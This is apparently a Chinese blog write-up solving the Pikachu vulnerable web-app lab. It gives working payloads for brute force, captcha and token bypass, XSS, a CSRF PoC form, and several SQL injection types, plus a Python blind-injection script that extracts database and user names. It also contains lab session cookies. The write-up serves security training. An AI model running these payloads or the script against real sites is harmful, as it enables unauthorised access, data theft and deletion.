谜团靶机writeup - Pikachu靶场通关指南-上

暴力破解

用户名:admin、pikachu、test、vince、allen、kobe、grady、kevin、lucy、lili
密码:123456、000000、abc123

基于表单的暴力破解

Positions
基于表单的暴力破解Payloads
PayloadsStart attack
start attack

验证码绕过(on server)

在Repeater模块中发现验证码可以重复使用。
验证码绕过

验证码绕过(on client)

直接删除&vcode=G5KUQ
验证码绕过client

token防爆破点

将提取到的token填入第一次请求 以及 数据包中,并修改数据包中的用户、密码为字典中的第一个。【可以避免第一次请求的token失效】
token爆破

XSS:Cross-Site Scripting

反射型XSS(get)

GET /vul/xss/xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit HTTP/1.1

反射性xss(post)

使用账号密码登录,然后发送数据。

POST /vul/xss/xsspost/xss_reflected_post.php HTTP/1.1
Host: 4af1c5bd5a334c128bc7ffbd68be0236.app.mituan.zone
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; UM_distinctid=17de0e3b15b9d7-0a6471d9226e2d-30614205-144000-17de0e3b15ca54; PHPSESSID=b3to3bnioj946mroaasga9g4eo
Connection: close

message=<script>alert(1)</script>&submit=submit

存储型XSS

<script>alert(1)</script><img src=a onerror=alert(1)>,提交即可。

DOM型xss

输入:javascript:alert(1)或者' onclick=alert(1)>,点击触发。

DOM型xss-x

输入:javascript:alert(1),点"请说出你的伤心往事"-“有些费劲心机”-“就让往事都随风”

XSS盲打

留言<script>alert(1)</script>,名称<img src=a onerror=alert(2)>,都可以触发。然后登录后台,使用admin、123456登录查看意见。

xss之过滤

输入<img src=# onerror=alert(1)>或者<scrIpt>alert(1)</scrIpt>

xss之htmlspecialchars

输入javascript:alert(1)或者' onclick='alert(1)

xss之href输出

输入javascript:alert(1)

xss之js输出

输入';alert(1)//

CSRF

vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456。

CSRF(get)

CSRF get

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://4af1c5bd5a334c128bc7ffbd68be0236.app.mituan.zone/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="11" />
      <input type="hidden" name="phonenum" value="22" />
      <input type="hidden" name="add" value="33" />
      <input type="hidden" name="email" value="44" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

使用vince登录,填写数据提交,抓包之后生成CSRF Poc保存为csrf.html,退出账号再使用allen登录,访问页面csrf.html即可。

CSRF(post)

跟上面类似。

CSRF Token

因有token,可以阻止CSRF。

Sql Inject

数字型注入

id=-1 union all select 1,user()&submit=%E6%9F%A5%E8%AF%A2
数字型注入

字符型注入

' or 1=1 #查询,或者抓包GET /vul/sqli/sqli_str.php?name=vince'+or+1%3d1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1

搜索型注入

%或者%' or 1=1#能查出所有信息。

xx型注入

输入v') or 1=1#

insert/update注入

点击注册,输入222' or updatexml(1,concat(0x7e,'root',0x7e),3) or '222' or updatexml(1,concat(0x7e,'root',0x7e),3) or '1'='1构造一个用户字段,然后提交。
注册

delete注入

随便输入两条留言,在点击删除第一条的时候,拦截数据包,修改GET /vul/sqli/sqli_del.php?id=56+or+updatexml(1,concat(0x7e,user(),0x7e),3) HTTP/1.1即可形成报错注入。若修改为GET /vul/sqli/sqli_del.php?id=56+or+1=1 HTTP/1.1则会删除所有留言。

header注入

GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 907c32e21ddb4858ae77907f204f72d0.app.mituan.zone
User-Agent: Mozilla/5.0' or updatexml(1,concat(0x7e,111,0x7e),3) or '1'='1
Accept: text/html' or updatexml(1,concat(0x7e,222,0x7e),3) or '
Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e,333,0x7e),3) or '1'='1; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; UM_distinctid=17de0e3b15b9d7-0a6471d9226e2d-30614205-144000-17de0e3b15ca54; PHPSESSID=tuj0us8pkfqrk900h8kmf1f1kt
Connection: close

三个位置都可以。

盲注boolean

GET /vul/sqli/sqli_blind_b.php?name=vince'+and+length(database())>1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
GET /vul/sqli/sqli_blind_b.php?name=vince'+and+substring(database(),1,1)='p'%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
GET /vul/sqli/sqli_blind_b.php?name=vince'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1))%3d108%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1

# python脚本
#
import requests
import re

# 需要参数内容
headers = {
    'User-Agent': 'Mozilla/5.0'
};
url = 'http://907c32e21ddb4858ae77907f204f72d0.app.mituan.zone/vul/sqli/sqli_blind_b.php';

# grammar = 'database()'
# 存储各个查询命令
grammars = ['database()', '(SELECT GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.TABLES)',
            '(SELECT GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA="pikachu")',
            '(SELECT GROUP_CONCAT(DISTINCT COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA="pikachu")',
            '(SELECT GROUP_CONCAT(DISTINCT username) FROM pikachu.member)']
grammars = ['database()', '(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA="pikachu" limit 0,1)']
num = 0
# grammar = ''
# sql 语法不区分字母大小写
guess = 'abcdefghigklmnopqrstuvwxyz0123456789@_.,'


# 循环使用各个语句
def loop():
    for i in enumerate(grammars):
        print(i[1] + "-->", end='')
        grammar = i[1]
        parameter(grammar)
        print()


# 处理参数语句
def parameter(data):
    values = ''
    length = 0
    flag = False
    # 获取数据库名长度
    # for i in range(1, 100):
    #     # 检测当前数据库名长度
    #     # values = "lucy' and length(grammar)={num}#".format(num=i)
    #     # 拿到 information_schema.TABLES 的字段 TABLE_SCHEMA 下所有不重复值成组长度
    #     values = "lucy' and (SELECT length(GROUP_CONCAT(DISTINCT TABLE_SCHEMA)) FROM information_schema.TABLES)={num}#".format(
    #         num=i)
    #     # print(values)
    #     flag = query(values)
    #     if flag:
    #         print("数据库名长度:" + str(i))
    #         length = i
    #         # return i
    # for i in range(1, length + 1):
    flag = False
    isnum = 0
    for i in range(1, 1024):
        # for j in range(0, len(guess) + 1):
        for j in range(0, len(guess)):
            x = guess[j:j + 1]
            # print(x, end='')
            values = "lucy' and substring({grammar},{num},1)='{guess}'#".format(grammar=data, num=i,guess=x)
            flag = query(values)
            # print(flag)
            if flag:
                print(x, end='')
                break
        # 不先获取数据长度的后果,继续做值爆破完成判断
        # print('-' + str(isnum),end='')
        # print(bool(1-flag),end='')
        if bool(1 - flag):
            # print('ni-' + x + '-ni' + str(i))
            isnum = isnum + 1
        if isnum == 2:
            break
        # flag = False
        # print()
        # print(values)


# 弄个请求函数
def query(values):
    params = {
        'name': values,
        'submit': '查询'
    }
    response = requests.get(url=url, headers=headers, params=params);
    query_text = response.text
    # print(query_text)
    #
    # 使用xpath
    # tree = etree.HTML(query_text)
    # tree_str = tree.xpath('//div/p[@class="notice"]/text()')
    # print(tree_str[0])
    #
    # 使用正则
    ex = "<p class='notice'>(.*?) uid:.*?</p>"
    judge = re.findall(ex, query_text, re.S)
    # print(judge)
    if len(judge) == 0:
        return False
    else:
        return True


if __name__ == "__main__":
    # print(values)
    # query()
    # parameter()
    loop()
    input('\n请输入任意键退出!!!')

布尔注入

盲注time

输入vince' and sleep(2)#,发现等待两秒返回。
时间盲注GET /vul/sqli/sqli_blind_t.php?name=vince'+and+if((length(database())%3d7),sleep(2),1)--+q&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1,延时2s返回数据,表明数据库名称长度7,剩下的就是猜测表名、字段名、数据。

宽字节注入

魔术引号会在单双引号、反斜线、NULL前添加转义字符,从而造成普通字符串造成无法闭合问题。可以采用汉字或者%df方式绕过。
输入汉' or 1=1#查询。【name=%E6%B1%89%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2】
或者输入abc' or 1=1#查询,抓包后修改为name=abc%df%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2【在单引号前加%df】。

其他

谜团靶机平台地址
布尔注入代码

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值